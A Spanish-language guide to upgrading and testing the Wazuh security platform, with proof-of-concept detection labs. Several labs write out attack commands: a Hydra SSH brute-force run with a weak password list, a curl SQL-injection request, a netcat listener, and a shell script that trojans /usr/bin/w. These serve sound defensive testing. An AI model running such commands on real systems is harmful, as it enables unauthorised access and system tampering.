 El mismo caso se presenta multiples veces en la instalación de Wazuh Indexer por lo que seleccionamos la misma opción "D" para revisar los cambios que se realizan en nuestros archivos de configuración: 

 --- /etc/init.d/wazuh-indexer 1970-01-01 00:00:00.000000000 +0000

+++ /etc/init.d/wazuh-indexer.dpkg-new 2024-08-30 10:12:22.000000000 +0000

@@ -0,0 +1,168 @@

+#!/usr/bin/env bash

+#

+# /etc/init.d/wazuh-indexer -- startup script for Wazuh indexer

+#

+### BEGIN INIT INFO

+# Provides: wazuh-indexer

+# Required-Start: $network $remote_fs $named

+# Required-Stop: $network $remote_fs $named

+# Default-Start: 2 3 4 5

+# Default-Stop: 0 1 6

+# Short-Description: Starts wazuh-indexer

+# Description: Starts wazuh-indexer using start-stop-daemon

+### END INIT INFO

+set -e -o pipefail

+PATH=/bin:/usr/bin:/sbin:/usr/sbin

+NAME=wazuh-indexer

+DESC=$NAME

+DEFAULT=/etc/default/$NAME

+

+if [ `id -u` -ne 0 ]; then

+ echo "You need root privileges to run this script"

+ exit 1

+fi

+

+. /lib/lsb/init-functions

+

+if [ -r /etc/default/rcS ]; then

+ . /etc/default/rcS

+fi

+

+# The following variables can be overwritten in $DEFAULT

+

+# Directory where the OpenSearch binary distribution resides

+OPENSEARCH_HOME=/usr/share/$NAME

+

+# Additional Java OPTS

+#OPENSEARCH_JAVA_OPTS=

+

+# Maximum number of open files

+MAX_OPEN_FILES=65535

+

+# Maximum amount of locked memory

+#MAX_LOCKED_MEMORY=

+

+# OpenSearch configuration directory

+OPENSEARCH_PATH_CONF=/etc/$NAME

+

+# Maximum number of VMA (Virtual Memory Areas) a process can own

+MAX_MAP_COUNT=262144

+

+# OpenSearch PID file directory

+PID_DIR="/var/run/$NAME"

+

+# End of variables that can be overwritten in $DEFAULT

+

+# overwrite settings from default file

+if [ -f "$DEFAULT" ]; then

+ . "$DEFAULT"

+fi

+

+# Define other required variables

+PID_FILE="$PID_DIR/$NAME.pid"

+DAEMON=$OPENSEARCH_HOME/bin/opensearch

+DAEMON_OPTS="-d -p $PID_FILE"

+

+export OPENSEARCH_JAVA_OPTS

+export OPENSEARCH_PATH_CONF

+export JAVA_HOME

+export OPENSEARCH_JAVA_HOME

+

+if [ ! -x "$DAEMON" ]; then

+ echo "The wazuh-indexer startup script does not exists or it is not executable, tried: $DAEMON"

+ exit 1

+fi

+

+case "$1" in

+ start)

+

+ log_daemon_msg "Starting $DESC"

+

+ pid=`pidofproc -p $PID_FILE wazuh-indexer`

+ if [ -n "$pid" ] ; then

+ log_begin_msg "Already running."

+ log_end_msg 0

+ exit 0

+ fi

+

+ # Ensure that the PID_DIR exists (it is cleaned at OS startup time)

+ if [ -n "$PID_DIR" ] && [ ! -e "$PID_DIR" ]; then

+ mkdir -p "$PID_DIR" && chown wazuh-indexer:wazuh-indexer "$PID_DIR"

+ fi

+ if [ -n "$PID_FILE" ] && [ ! -e "$PID_FILE" ]; then

+ touch "$PID_FILE" && chown wazuh-indexer:wazuh-indexer "$PID_FILE"

+ fi

+

+ if [ -n "$MAX_OPEN_FILES" ]; then

+ ulimit -n $MAX_OPEN_FILES

+ fi

+

+ if [ -n "$MAX_LOCKED_MEMORY" ]; then

+ ulimit -l $MAX_LOCKED_MEMORY

+ fi

+

+ if [ -n "$MAX_MAP_COUNT" -a -f /proc/sys/vm/max_map_count ] && [ "$MAX_MAP_COUNT" -gt $(cat /proc/sys/vm/m>

+ sysctl -q -w vm.max_map_count=$MAX_MAP_COUNT

+ fi

+

+ # Start Daemon

+ start-stop-daemon -d $OPENSEARCH_HOME --start --user wazuh-indexer -c wazuh-indexer --pidfile "$PID_FILE" >

+ return=$?

+ if [ $return -eq 0 ]; then

+ i=0

+ timeout=10

+ # Wait for the process to be properly started before exiting

+ until { kill -0 `cat "$PID_FILE"`; } >/dev/null 2>&1

+ do

+ sleep 1

+ i=$(($i + 1))

+ if [ $i -gt $timeout ]; then

+ log_end_msg 1

+ exit 1

+ fi

+ done

+ fi

+ log_end_msg $return

+ exit $return

+ ;;

+ stop)

+ log_daemon_msg "Stopping $DESC"

+

+ if [ -f "$PID_FILE" ]; then

+ start-stop-daemon --stop --pidfile "$PID_FILE" \

+ --user wazuh-indexer \

+ --quiet \

+ --retry forever/TERM/20 > /dev/null

+ if [ $? -eq 1 ]; then

+ log_progress_msg "$DESC is not running but pid file exists, cleaning up"

+ elif [ $? -eq 3 ]; then

+ PID="`cat $PID_FILE`"

+ log_failure_msg "Failed to stop $DESC (pid $PID)"

+ exit 1

+ fi

+ rm -f "$PID_FILE"

+ else

+ log_progress_msg "(not running)"

+ fi

+ log_end_msg 0

+ ;;

+ status)

+ status_of_proc -p $PID_FILE wazuh-indexer wazuh-indexer && exit 0 || exit $?

+ ;;

+ restart|force-reload)

+ if [ -f "$PID_FILE" ]; then

+ $0 stop

+ fi

+ $0 start

+ ;;

+ *)

+ log_success_msg "Usage: $0 {start|stop|restart|force-reload|status}"

+ exit 1

+ ;;

+esac

+

+exit 0 

 --- /etc/wazuh-indexer/jvm.options 2024-08-01 20:37:13.516578584 +0000

+++ /etc/wazuh-indexer/jvm.options.dpkg-new 2024-08-30 10:14:23.000000000 +0000

@@ -19,8 +19,8 @@

 # Xms represents the initial size of total heap space

 # Xmx represents the maximum size of total heap space

 

--Xms1955m

--Xmx1955m

+-Xms1g

+-Xmx1g

 

 ################################################################

 ## Expert settings

@@ -79,13 +79,15 @@

 # Explicitly allow security manager (https://bugs.openjdk.java.net/browse/JDK-8270380)

 18-:-Djava.security.manager=allow

 

+# JDK 20+ Incubating Vector Module for SIMD optimizations;

+# disabling may reduce performance on vector optimized lucene

+20:--add-modules=jdk.incubator.vector

+

+# HDFS ForkJoinPool.common() support by SecurityManager

+-Djava.util.concurrent.ForkJoinPool.common.threadFactory=org.opensearch.secure_sm.SecuredForkJoinWorkerThreadFact>

+

 ## OpenSearch Performance Analyzer

 -Dclk.tck=100

 -Djdk.attach.allowAttachSelf=true

 -Djava.security.policy=file:///etc/wazuh-indexer/opensearch-performance-analyzer/opensearch_security.policy

---add-opens=jdk.attach/sun.tools.attach=ALL-UNNAMED

-

-## OpenDistro Performance Analyzer

--Dclk.tck=100

--Djdk.attach.allowAttachSelf=true

--Djava.security.policy=file:///usr/share/wazuh-indexer/plugins/opendistro-performance-analyzer/pa_config/es_secur>

+--add-opens=jdk.attach/sun.tools.attach=ALL-UNNAMED

\ No newline at end of file

 

 --- /etc/wazuh-indexer/opensearch-security/internal_users.yml 2024-08-01 20:40:06.324974273 +0000

+++ /etc/wazuh-indexer/opensearch-security/internal_users.yml.dpkg-new 2024-08-30 10:14:23.000000000 +0000

@@ -1,19 +1,36 @@

 ---

+# This is the internal user database

+# The hash value is a bcrypt hash and can be generated with plugin/tools/hash.sh

+

 _meta:

 type: "internalusers"

 config_version: 2

+

+# Define your internal users here

+

+## Demo users

+

 admin:

- hash: $2y$12$Cu8jP7gd1mJlSClvW82kCO69/S7Yf74IGdY9bPWcTeHjwoH0uYr6q

+ hash: "$2a$12$VcCDgh2NDk07JGN0rjGbM.Ad41qVR/YFJcgHp0UGns5JDymv..TOG"

 reserved: true

 backend_roles:

 - "admin"

 description: "Demo admin user"

+

+anomalyadmin:

+ hash: "$2y$12$TRwAAJgnNo67w3rVUz4FIeLx9Dy/llB79zf9I15CKJ9vkM4ZzAd3."

+ reserved: false

+ opendistro_security_roles:

+ - "anomaly_full_access"

+ description: "Demo anomaly admin user, using internal role"

+

 kibanaserver:

- hash: $2y$12$kr4ikvWjGejjmlMnz6wTJ.sIYy6lR9uEy1ljW1l3w8eJMBrNwFd7S

+ hash: "$2a$12$4AcgAt3xwOWadA5s5blL6ev39OXDNhmOesEoo33eZtrq2N0YrU3H."

 reserved: true

- description: "Demo kibanaserver user"

+ description: "Demo OpenSearch Dashboards user"

+

 kibanaro:

- hash: $2y$12$/nkeD10mgx3qKoD7W6kWwO7WCMPmsS/pgHj0S3GhiYhzgeCS5JJHu

+ hash: "$2a$12$JJSXNfTowz7Uu5ttXfeYpeYE0arACvcwlPBStB1F.MI7f0U9Z4DGC"

 reserved: false

 backend_roles:

 - "kibanauser"

@@ -22,22 +39,25 @@

 attribute1: "value1"

 attribute2: "value2"

 attribute3: "value3"

- description: "Demo kibanaro user"

+ description: "Demo read only user, using external role mapping"

+

 logstash:

- hash: $2y$12$Z7sPb.rL8/MGxz7jtXdbFOoURmtGIW/G4vLjA.96M8wH8y.4FLTUu

+ hash: "$2a$12$u1ShR4l4uBS3Uv59Pa2y5.1uQuZBrZtmNfqB3iM/.jL0XoV9sghS2"

 reserved: false

 backend_roles:

 - "logstash"

- description: "Demo logstash user"

+ description: "Demo logstash user, using external role mapping"

+

 readall:

- hash: $2y$12$T0fcXbC8L/fut/BLGV5/7uSleSxKlrX53LjWEX4mZ9XNlaYhWzSkC

+ hash: "$2a$12$ae4ycwzwvLtZxwZ82RmiEunBbIPiAmGZduBAjKN0TXdwQFtCwARz2"

 reserved: false

 backend_roles:

 - "readall"

- description: "Demo readall user"

+ description: "Demo readall user, using external role mapping"

+

 snapshotrestore:

- hash: $2y$12$sS6Ecv.XpRDuB6Xw1N7OCu8ubT1xB5uKnIMtqzi32ZyD98IotSqXW

+ hash: "$2y$12$DpwmetHKwgYnorbgdvORCenv4NAK8cPUg8AI6pxLCuWf/ALc0.v7W"

 reserved: false

 backend_roles:

 - "snapshotrestore"

- description: "Demo snapshotrestore user"

+ description: "Demo snapshotrestore user, using external role mapping"

 

 Modificamos el nombre de los certificados de Wazuh dashboard para que estén de acuerdo a la nueva configuración. 

 sudo mv /etc/wazuh-dashboard/certs/wazuh-dashboard-key.pem /etc/wazuh-dashboard/certs/dashboard-key.pem

sudo mv /etc/wazuh-dashboard/certs/wazuh-dashboard.pem /etc/wazuh-dashboard/certs/dashboard.pem 

 Cambiamos la lista de permisos. 

 sudo chown wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs/*.pem

sudo chmod 600 /etc/wazuh-dashboard/certs/*.pem 

 Verificamos la configuración de la API por el puerto "55000". 

 sudo nano /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml 

 hosts:

 - default:

 url: https://127.0.0.1

 port: 55000

 username: wazuh-wui

 password: "Contraseña Wazuh-Wui"

 run_as: false 

 Por último para la cantidad de memoria RAM asignada para los procesos modificamos el archivo: 

 sudo nano /etc/wazuh-indexer/jvm.options 

 Dentro del archivo cambiamos "Xms1g" por "Xms2g" 

 En el caso de la modificación de permisos por actualizar desde una versión inferior a 4.5.7 se vuelve a modificar el cambio de directorio del indexador. 

 sudo chmod -R 755 /usr/share/wazuh-indexer

sudo chown -R wazuh-indexer:wazuh-indexer /usr/share/wazuh-indexer 

 Realizamos un " restart " a cada uno de los componentes de Wazuh para aplicar los cambios y esperamos aproximadamente 2 minutos para utilizar los servicios. 

 sudo systemctl daemon-reload

sudo systemctl restart wazuh-manager

sudo systemctl restart wazuh-dashboard

sudo systemctl restart wazuh-indexer 

 sudo systemctl status wazuh-manager 

 

 sudo systemctl status wazuh-dashboard 

 

 sudo systemctl status wazuh-indexer 

 

 En el caso del sistema Ubuntu server 22.04 en fecha 03-10-2024, se normalizó la utilización de la herramienta después de un reinicio y una espera de 5 minutos. 

 sudo reboot 

 Ingresamos al dashboard y verificamos que la versión de Wazuh se actualizó con éxito. 

 

 Consideraciones a tomar en cuenta en caso de más de 50 agentes de Wazuh. 

 nano /etc/wazuh-indexer/jvm.options 

 Expandir la cantidad de recursos que se pueden utilizar en caso de exceso de eventos e incrementar según consumo de recursos Ej. a 2GB para indexación de elementos. 

 # Xms represents the initial size of total heap space

# Xmx represents the maximum size of total heap space

-Xms2048m

-Xmx2048m

Pruebas de concepto (PDC)
PDC 1: BLOQUEO DE DIRECCIÓN IP MALICIOSA CONOCIDA. 

 Se configurará servidor web Apache en Ubuntu y se intenta acceder a ellos desde un terminal Debian que simulara a un atacante con una IP con baja reputación en listas de IP maliciosas. 

 

 

 

 TERMINAL 

 

 DESCRIPCIÓN 

 

 

 

 Debian 

 Terminal del atacante que se conecta al servidor web de la víctima en el que usa la capacidad de la lista CDB de Wazuh para marcar su dirección IP como maliciosa. 

 

 

 Ubuntu 

 Terminal de la víctima que ejecuta un servidor web Apache 2.4.54. Se utiliza el módulo de respuesta activa de Wazuh para bloquear automáticamente las conexiones desde el terminal del atacante. 

 

 

 

 Configuración. 

 En Wazuh Manager. 

 Se debe agregar la dirección IP del extremo de Debian a una lista negra de usuarios peligrosos para la red y luego configurar las reglas y la respuesta activa. 

 En la guía de procedimientos de prueba de Wazuh manager se encuentran pasos de instalación del comando: 

 sudo apt update && sudo apt install -y wget 

 Descargue la base de datos de reputación de IP de Alienvault: 

 sudo wget https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/alienvault_reputation.ipset -O /var/ossec/etc/lists/alienvault_reputation.ipset 

 Agregamos la dirección IP del extremo del atacante (Debian) a la base de datos de reputación de IP. La dirección IP de Debian en el ejemplo es (192.168.24.73). 

 sudo echo 192.168.24.73 >> /var/ossec/etc/lists/alienvault_reputation.ipset 

 Descargamos el siguiente script para convertir del formato “.ipset” (formato utilizado para crear conjuntos de direcciones IP que se pueden usar como tablas para comparación) al formato “.cdb” (formato de lista que utiliza wazuh enlistar las direcciones maliciosas para su posterior bloqueo). 

 sudo wget https://wazuh.com/resources/iplist-to-cdblist.py -O /tmp/iplist-to-cdblist.py 

 Convertimos el archivo “alienvault_reputation.ipset” a un formato “.cdb” usando el script descargado previamente: 

 sudo /var/ossec/framework/python/bin/python3 /tmp/iplist-to-cdblist.py /var/ossec/etc/lists/alienvault_reputation.ipset /var/ossec/etc/lists/blacklist-alienvault 

 Eliminamos “alienvault_reputation.ipset” y el script  “iplist-to-cdblist.py”, para que no sean usados erronea o de forma maliciosa. 

 sudo rm -rf /var/ossec/etc/lists/alienvault_reputation.ipset

sudo rm -rf /tmp/iplist-to-cdblist.py 

 Asignamos los permisos y la propiedad correctos al archivo generado: 

 sudo chown wazuh:wazuh /var/ossec/etc/lists/blacklist-alienvault 

 La siguiente regla personalizada se utiliza para para activar una secuencia de comandos de respuesta activa de Wazuh cuando se detecte un evento en el cual se haya reconocido una dirección IP maliciosa realizando intercambio de información con puntos finales monitoreados por Wazuh manager, para esto ingresamos al archivo de reglas personalizadas de Wazuh. 

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 En el archivo de conjunto de reglas personalizado del servidor Wazuh: 

 <group name="attack,">

 <rule id="100100" level="11">

   <if_group>web|attack|attacks</if_group>

   <list field="srcip" lookup="address_match_key">etc/lists/blacklist-alienvault</list>

   <description>IP address found in AlienVault reputation database.</description>

 </rule>

</group> 

 Editamos el archivo de configuración del servidor Wazuh. 

 sudo nano /var/ossec/etc/ossec.conf 

 Para que se pueda comparar con la lista de direcciones de alienvault agregamos la lista creada  “etc/lists/blacklist-alienvault” a la sección “<ruleset>”. 

 <ossec_config>

 <ruleset>

   <!-- Default ruleset -->

   <decoder_dir>ruleset/decoders</decoder_dir>

   <rule_dir>ruleset/rules</rule_dir>

   <rule_exclude>0215-policy_rules.xml</rule_exclude>

   <list>etc/lists/audit-keys</list>

   <list>etc/lists/amazon/aws-eventnames</list>

   <list>etc/lists/security-eventchannel</list>

   <list>etc/lists/blacklist-alienvault</list>

   <!-- User-defined ruleset -->

   <decoder_dir>etc/decoders</decoder_dir>

   <rule_dir>etc/rules</rule_dir>

 </ruleset>

</ossec_config> 

 Agrega una respuesta activa al wazuh manager (con permisos de root): 

 sudo nano /var/ossec/etc/ossec.conf 

 Se debe quitar el símbolo de comentario al apartado <active-response> y escribir de acuerdo al ID de la regla creada en este caso 100100. 

   <active-response>

       <command>firewall-drop</command>

       <location>local</location>

       <rules_id>100100</rules_id>

 </active-response> 

 En el terminal víctima. 

 Se instala un servidor web con Apache para las pruebas, este tendrá un agente que constantemente está realizando el monitoreo de los registros de acceso del servidor Apache. 

 Configuramos el agente de Wazuh: 

 sudo nano /var/ossec/etc/ossec.conf 

 <localfile>

 <log_format>syslog</log_format>

 <location>/var/log/apache2/access.log</location>

</localfile> 

 Emulación del ataque. 

 Para la emulación de ataque se debe acceder al servidor web desde el extremo Kali utilizando la dirección IP correspondiente: 

 Ya sea desde el navegador o desde la consola: 

 Wazuh manager identificara la dirección IP de conexión para ser analizada y al coincidir con la dirección IP de la base de datos de reputación enviara la alerta para activar la respuesta inmediata bloqueando la dirección IP con el número de ID de alerta 100100 que es el creado manualmente para el servidor. 

 

 Resultados. 

 Posteriormente Wazuh manager bloquea el intento de acceso y el servidor se hace inaccesible por parte del atacante. 

 

 PDC 2: MONITOREO DE INTEGRIDAD DE ARCHIVOS. 

 Wazuh tiene un módulo FIM (File Integrity Monitoring) el cual es un proceso de seguridad que se utiliza para monitorear la integridad de los archivos del sistema se revisan los cambios en el sistema de archivos para detectar la creación, modificación y eliminación de archivos. 

 Configuración. 

 Para esta prueba utilizaremos Debian, el módulo FIM de Wazuh supervisa un directorio (/root) para detectar la creación, los cambios y la eliminación de archivos. 

 Se debe editar el archivo de configuración agregando dentro del bloque <syscheck> directorios para ser monitoreados (se puede configurar cualquier ruta en específico). 

 sudo nano /var/ossec/etc/ossec.conf 

 <directories check_all="yes" report_changes="yes" realtime="yes">/root</directories> 

 Reiniciamos para aplicar los cambios. 

 sudo systemctl restart wazuh-agent 

 Emulación del ataque. 

 En el ámbito de la seguridad informática existen directorios que no deben ser modificados ya que contienen configuraciones para el funcionamiento correcto de los programas ó en su defecto la copia de archivos maliciosos que contienen malware, por lo cual la prueba consiste en crear un archivo de texto en el directorio monitoreado. 

 cd /root/

touch archivo.txt 

 Agregue contenido al archivo de texto y guárdelo. 

 echo "contenido de archivo" >> archivo.txt 

 Elimine el archivo de texto del directorio supervisado. 

 rm archivo.txt 

 Resultados. 

 Con la creación del archivo se genera una alerta de nivel 3 ya que el archivo esta vacío. 

 

 La modificación del archivo genera una alerta de nivel 8 al ser un directorio importante para ser monitorizado. 

 

 Por ultimo se genera la alerta de eliminación del archivo de nivel 7. 

 

 PDC 3: ATAQUE DE FUERZA BRUTA. 

 

 

 

 TERMINAL 

 

 DESCRIPCIÓN 

 

 

 

 Debian 

 Terminal del atacante que realiza ataques de fuerza bruta. Con SSH instalado. 

 

 

 Ubuntu 

 Terminal víctima de ataques de fuerza bruta SSH. Es necesario tener un servidor SSH instalado y habilitado en este punto final. 

 

 

 

 Configuración: 

 Realice los siguientes pasos para configurar el terminal de Debian. Esto permite realizar intentos de falla de autenticación en la víctima Ubuntu. 

 En Debian instalar Hydra para utilizar un ataque de fuerza bruta mediante el protocolo ssh. 

 sudo apt update

sudo apt install -y hydra 

 Emulación del ataque 

 Crearemos un archivo de texto con 10 o más contraseñas aleatorias, esto simulara un diccionario de contraseñas de los cuales existen en la red que puede contener millones de contraseñas frecuentes para romper la seguridad mediante fuerza bruta. 

 sudo nano PASSWD_LIST.txt 

 123456

Password

Passwd

123

Root

Admin

Admin123

Root123

Server

Linux  

 Guardamos este archivo como nuestro diccionario limitado de contraseñas y configuramos el terminal victima con una de estas contraseñas inseguras. 

 Por último ejecutamos "Hydra" desde el terminal atacante para realizar ataques de fuerza bruta contra el extremo de la víctima. 

 La sintaxis del comando es la siguiente tomando en cuenta xubuntu como nombre de usuario, PASSWD_LIST.txt como el diccionario de contraseñas, 192.168.24.72 la direccion IP de la víctima y por ultimo el protocolo de acceso que será ssh . 

 sudo hydra -l xubuntu -P PASSWD_LIST.txt 192.168.24.72 ssh 

 Resultados. 

 Visualización de las alertas en Wazuh manager: Se pueden visualizar los datos de alerta en el panel de control de Wazuh, se debe acceder al módulo Eventos de seguridad para consultar las alertas. 

 

 PDC 4: DETECCIÓN DE PROCESOS NO AUTORIZADOS. 

 En este caso de uso, utiliza la capacidad de monitoreo de comandos de Wazuh para detectar cuándo se está ejecutando Netcat en un punto final (Netcat es una utilidad de red informática que se utiliza para escanear y escuchar puertos). 

 En el terminal víctima modificamos el modulo de monitoreo desde el agente de Wazuh, de esta forma podremos detectar un proceso de Netcat en ejecución. 

 Configuración. 

 Agregamos la siguiente configuración al archivo de configuración del agente de Wazuh. Nos permite obtener periódicamente una lista de procesos en ejecución: 

 sudo nano /var/ossec/etc/ossec.conf 

 <ossec_config>

 <localfile>

   <log_format>full_command</log_format>

   <alias>process list</alias>

   <command>ps -e -o pid,uname,command</command>

   <frequency>30</frequency>

 </localfile>

</ossec_config> 

 Reiniciar el wazuh-agent para aplicar los cambios. 

 sudo systemctl restart wazuh-agent 

 Posteriormente instalamos Netcat para realizar las pruebas. 

 sudo apt install ncat nmap -y 

 Servidor de Wazuh. 

 Se configuran los siguientes pasos para crear una regla que se active cada vez que se inicie el programa Netcat. Agregando las siguientes reglas al archivo local de reglas en el servidor: 

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 <group name="ossec,">

 <rule id="100050" level="0">

   <if_sid>530</if_sid>

   <match>^ossec: output: 'process list'</match>

   <description>Lista de procesos en ejecución </description>

   <group>process_monitor,</group>

 </rule>

 <rule id="100051" level="7" ignore="900">

   <if_sid>100050</if_sid>

   <match>nc -l</match>

   <description>netcat esta escuchando las conexiones entrantes.</description>

   <group>process_monitor,</group>

 </rule>

</group> 

 Reiniciamos el servidor para aplicar cambios. 

 sudo systemctl restart wazuh-manager 

 Emulación de ataque. 

 Ejecutamos en el terminal el siguiente comando durante aproximadamente 30 segundos. 

 nc -l 8000 

 Este comando utiliza para crear un servidor en el puerto 8000 , -l indica que el comando debe escuchar en lugar de conectarse a un puerto. El servidor creado escuchará en el puerto 8000 y esperará conexiones entrantes. Si se recibe una conexión, el comando nc enviará los datos recibidos a la salida estándar. 

 Resultados. 

 El servidor de Wazuh manager nos mostrara el siguiente evento: 

 

 PDC 5:INTEGRACIÓN DE IDS DE RED. 

 La integración de Suricata con Wazuh mejora la detección y respuesta a las amenazas en los sistemas monitoreados. Para esta prueba utilizaremos Debian donde se instalara Suricata, con esta integración se analiza el trafico de red generado en este terminal. 

 Configuración 

 Realizamos la instalación de Suricata en Debian. 

 sudo add-apt-repository ppa:oisf/suricata-stable

sudo apt-get update

sudo apt-get install suricata -y 

 Seguidamente descargamos y extraemos el conjunto de reglas de Emerging Threats Suricata el cual es un conjunto de reglas de detección de intrusiones que se utiliza para monitorear el tráfico de red en busca de cualquier actividad maliciosa, violaciones de políticas y amenazas que hará mas completo el monitoreo de este terminal. 

 cd /tmp/ && curl -LO https://rules.emergingthreats.net/open/suricata-6.0.8/emerging.rules.tar.gz

sudo tar -xvzf emerging.rules.tar.gz && sudo mv rules/*.rules /etc/suricata/rules/

sudo chmod 640 /etc/suricata/rules/*.rules 

 Una vez extraídos se debe modificar la configuración en el archivo “.yaml” 

 sudo nano /etc/suricata/suricata.yaml 

 HOME_NET: "192.168.24.87"

EXTERNAL_NET: "any"

default-rule-path: /etc/suricata/rules

rule-files:

- "*.rules"

# Global stats configuration

stats:

 enabled: no

# Linux high speed capture support

af-packet:

- interface: enp0s18 

 El nombre de la interface se obtiene con el comando: 

 ip address show 

 Reiniciar el servicio de Suricata. 

 sudo systemctl restart suricata 

 Para que el agente de Wazuh pueda leer el archivo de registros de Suricata se debe configurar el ossec.conf. 

 sudo nano /var/ossec/etc/ossec.conf 

 <ossec_config>

 <localfile>

   <log_format>json</log_format>

   <location>/var/log/suricata/eve.json</location>

 </localfile>

</ossec_config> 

 Para aplicar cambios se reinicia el agente de Wazuh. 

 sudo systemctl restart wazuh-agent 

 Emulación del ataque. 

 Wazuh analiza automáticamente los datos de los logs que se encuentran en /var/log/suricata/eve.json y genera alertas relacionadas en el dashboard. 

 Hacemos una prueba de ping a la dirección IP del terminal Debian desde el servidor de Wazuh: 

 ping -c 20 192.168.24.87 

 

 Resultados. 

 Se genera la alerta de Suricata que se resume en el dashboard de Wazuh-Manager  como ICMP proveniente de la dirección IP del atacante. 

 

 PDC 6: DETECCIÓN DE INYECCIÓN SQL. 

 

 

 

 TERMINAL 

 

 DESCRIPCIÓN 

 

 

 

 Debian 

 Terminal atacante con payload de inyección SQL 

 

 

 Ubuntu 

 Terminal víctima con servidor web Apache 

 

 

 

 Configuración. 

 En la víctima se debe realizar los siguientes pasos para instalar Apache y configurar el agente de Wazuh para monitorear los registros de Apache. 

 sudo apt update

sudo apt install apache2 

 Si el Firewall está habilitado, se debe modificar para permitir el acceso externo a los puertos web. Omita este paso si el Firewall está deshabilitado. 

 sudo ufw app list

sudo ufw allow 'Apache'

sudo ufw status 

 Verificar el estado del servicio Apache para ver que el servidor web se está ejecutando: 

 sudo systemctl status apache2 

 Utilizar en consola curl o en su defecto abrir http://<UBUNTU_IP> -> http://192.168.24.73 en un navegador para ver la página de inicio de Apache y verificar la ejecución: 

 curl http://<UBUNTU_IP> 

 En la parte del agente Wazuh agregue las siguientes líneas del archivo de configuración. 

 nano /var/ossec/etc/ossec.conf 

 El siguiente comando permite al agente de Wazuh monitorear los registros de acceso de su servidor Apache y enviar registros continuamente a Wazuh manager: 

 <ossec_config>

 <localfile>

   <log_format>apache</log_format>

   <location>/var/log/apache2/access.log</location>

 </localfile>

</ossec_config> 

 Reinicie Wazuh agent para aplicar los cambios de configuración:  

 sudo systemctl restart wazuh-agent 

 Emulación del ataque. 

 Utilice el siguiente comando con la dirección IP adecuada del servidor y ejecute el siguiente comando desde el extremo del atacante: 

 curl -XGET "http://IP_VICTIMA/users/?id=SELECT+*+FROM+users"; 

 El payload contiene una consulta SQL donde el comando quiere realizar la selección de todas las filas y todas las columnas de la tabla llamada "users" que suele ser por defecto los usuarios que se usan para ingresar en un login cuando se configura por defecto. 

 Resultados . 

 El resultado generó una alerta de intento de inyección SQL. 

 

 PDC 7: DETECCIÓN DE SUSPICIOUS BINARIES. 

 Detectar binarios sospechosos es una capacidad de seguridad que permite identificar código ejecutable que puede ser malicioso o anómalo en un punto final. En este caso de uso, demostramos cómo el módulo rootcheck de Wazuh puede detectar un sistema binario troyano en un extremo victima. 

 El exploit se realiza reemplazando el contenido de un binario legítimo con un código malicioso para engañar al punto final para que lo ejecute como el binario legítimo, el módulo rootcheck de Wazuh también busca procesos, puertos y archivos ocultos. Configuración. 

 Configuración . 

 De forma predeterminada, el módulo rootcheck de Wazuh está habilitado en el archivo de configuración del agente de Wazuh. Verifique el apartado <rootcheck> en el archivo de configuración del terminal monitoreado y asegurarse que la configuración este dada de la siguiente manera 

 sudo nano /var/ossec/etc/ossec.conf 

 <rootcheck>

   <disabled>no</disabled>

   <check_files>yes</check_files>

   <!-- Line for trojans detection -->

   <check_trojans>yes</check_trojans>

 <check_dev>yes</check_dev>

   <check_sys>yes</check_sys>

   <check_pids>yes</check_pids>

   <check_ports>yes</check_ports>

   <check_if>yes</check_if>

   <!-- Frequency that rootcheck is executed - every 12 hours -->

   <frequency>43200</frequency>

   <rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files>

   <rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans>

   <skip_nfs>yes</skip_nfs>

</rootcheck> 

 Emulación de ataque . 

 Creamos una copia del sistema binario original con: 

 sudo cp -p /usr/bin/w /usr/bin/w.copy 

 Ejecute el comando 

 sudo chmod +x /usr/bin/w.copy 

 Este da permisos de ejecución a la copia creada. 

 Reemplace el sistema binario original /usr/bin/w con el siguiente script de shell 

 sudo tee /usr/bin/w << EOF

!/bin/bash

echo "`date` this is evil" > /tmp/trojan_created_file

echo 'test for /usr/bin/w trojaned file' >> /tmp/trojan_created_file

Now running original binary

/usr/bin/w.copy

EOF 

 Este cambio en el archivo original es otro método de un ciberatacante y tiene las siguientes posibles consecuencias: 

 

 Manipulación del sistema: El script sobrescribe el archivo legítimo /usr/bin/w, lo que podría interrumpir su funcionalidad prevista. 

 Creación de datos: Crea un archivo llamado /tmp/trojan_created_file que contiene mensajes sospechosos. 

 Comportamiento desconocido: No se conoce el propósito completo del script ni sus acciones potenciales, lo que lo convierte en un riesgo de seguridad. 

 

 El análisis de rootcheck se ejecuta cada 12 horas de forma predeterminada por lo que se debe forzar un escaneo reiniciando el agente de Wazuh. 

 sudo systemctl restart wazuh-agent 

 Resultados. 

 Mientras tanto Wazuh manager nos da como resultado la siguiente respuesta: 

 

 Para restablecer nuestro las condiciones originales anteriores a la prueba de seguridad y evitar problemas de funcionamiento debemos realizar la operación inversa. 

 Abrir la terminal en el punto final donde reemplazó el binario original /usr/bin/w y elimine el script de shell que escribió en el binario original. 

 sudo rm /usr/bin/w 

 Se debe restaurar la copia del binario original. 

 sudo mv /usr/bin/w.copy /usr/bin/w 

 Por ultimo eliminar el archivo que creó el script de shell. 

 sudo rm /tmp/trojan_created_file 

 Verifique que el binario original funcione correctamente con el comando  w  los resultados serán los siguientes en caso de estar restablecido. 

 

 PDC 8: DETECCIÓN Y ELIMINACIÓN DE MALWARE MEDIANTE INTEGRACIÓN CON VIRUS TOTAL. 

 Wazuh puede utilizar un modulo de monitoreo para supervisar la integridad de los archivos en este caso buscando cambios realizados y la API de Virus-Total. Para la integración de Wazuh con Virus-Total. Todas estas configuraciones se realizan en el servidor primeramente y luego se realizará la configuración del agente. 

 Configuración . 

 Agregue las siguientes reglas al archivo local de reglas. 

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 <group name="syscheck,pci_dss_11.5,nist_800_53_SI.7,">

   <!-- Rules for Linux systems -->

   <rule id="100200" level="7">

       <if_sid>550</if_sid>

       <field name="file">/root</field>

       <description>File modified in /root directory.</description>

   </rule>

   <rule id="100201" level="7">

       <if_sid>554</if_sid>

       <field name="file">/root</field>

       <description>File added to /root directory.</description>

   </rule>

</group> 

 Añadir la sección dentro del archivo de configuración Ossec. 

 sudo nano /var/ossec/etc/ossec.conf 

